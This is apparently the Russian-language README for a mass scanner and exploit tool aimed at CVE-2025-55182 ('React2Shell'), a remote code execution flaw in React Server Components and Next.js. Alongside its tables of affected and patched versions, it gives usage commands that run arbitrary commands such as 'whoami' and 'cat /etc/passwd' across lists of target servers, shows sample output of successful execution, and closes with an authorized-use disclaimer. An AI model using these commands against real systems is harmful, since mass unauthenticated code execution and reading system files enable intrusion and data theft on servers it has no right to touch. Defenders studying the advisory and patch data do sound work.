
Автоматический сканер для CVE-2025-55182: критическая RCE-уязвимость в React Server Components и Next.js.
Инструмент для массового обнаружения и проверки уязвимости удалённого выполнения кода CVE-2025‑55182 (React2Shell).
⚠️ Критическая уязвимость CVSS 10.0 | Затрагивает React Server Components и Next.js 15.x/16.x | Только для авторизованного тестирования безопасности
CVE-2025‑55182 (также известная как «React2Shell») – это неаутентифицированная уязвимость удалённого выполнения кода (RCE) с максимальным рейтингом CVSS 10.0.
Уязвимость вызвана небезопасной десериализацией в пакете react-server из состава React Server Components (RSC) при обработке протокола RSC «Flight». Злоумышленник может отправить специально сформированный HTTP‑запрос и выполнить произвольный код на уязвимом сервере.
Поскольку Next.js использует протокол RSC «Flight», даже приложение, созданное с помощью create-next-app с настройками по умолчанию, может быть атаковано без необходимости написания разработчиком дополнительного кода. С 5 декабря 2025 года зафиксировано активное использование этой уязвимости.
React Server Components:
| Имя пакета | Подверженные версии |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
Next.js (с App Router):
| Основная версия | Диапазон уязвимых версий | Исправленная версия |
|---|---|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
Другие потенциально уязвимые RSC‑фреймворки/инструменты:
⚠️ Важное замечание: для данной уязвимости нет известных временных мер смягчения; единственный способ исправления – обновление до безопасной версии.
Рекомендуемые версии для обновления:
Вы также можете использовать официальный npm‑пакет fix-react2shell-next для помощи в обновлении затронутых приложений Next.js.
pip install requests
# Массовое сканирование (чтение целей из urls.txt)
python CVE-2025-55182.py -f urls.txt
# Проверка одной цели
python CVE-2025-55182.py -u http://192.168.1.100:3000
# Выполнить команду whoami
python CVE-2025-55182.py -f urls.txt -c "whoami"
# Выполнить команду hostname
python CVE-2025-55182.py -u http://target.com -c "hostname"
# Прочитать файл
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# Указать количество потоков и таймаут
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# Пользовательский выходной файл
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# Тихий режим (вывод только уязвимых URL)
python CVE-2025-55182.py -f urls.txt -q
| Параметр | Описание | Значение по умолчанию |
|---|---|---|
-f, --file | Файл со списком URL | urls.txt |
-u, --url | Одиночный целевой URL | - |
-t, --threads | Количество параллельных потоков | 20 |
--timeout | Таймаут запроса (сек) | 10 |
-o, --output | Выходной CSV‑файл | results.csv |
-c, --command | Выполняемая команда | id |
-q, --quiet | Тихий режим | false |
Один URL на строку, например:
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURATION ]
============================================================
> Targets: 10
> Threads: 20
> Command: id
============================================================
[ SCANNING ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SAFE] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
Результаты сканирования сохраняются в формате CSV со следующими полями:
url – целевой URLstatus – HTTP‑статусvulnerable – наличие уязвимостиoutput – результат выполнения командыerror – сообщение об ошибкеДанный инструмент предназначен только для авторизованного тестирования безопасности. Не используйте его в незаконных целях. Пользователь берёт на себя все связанные риски.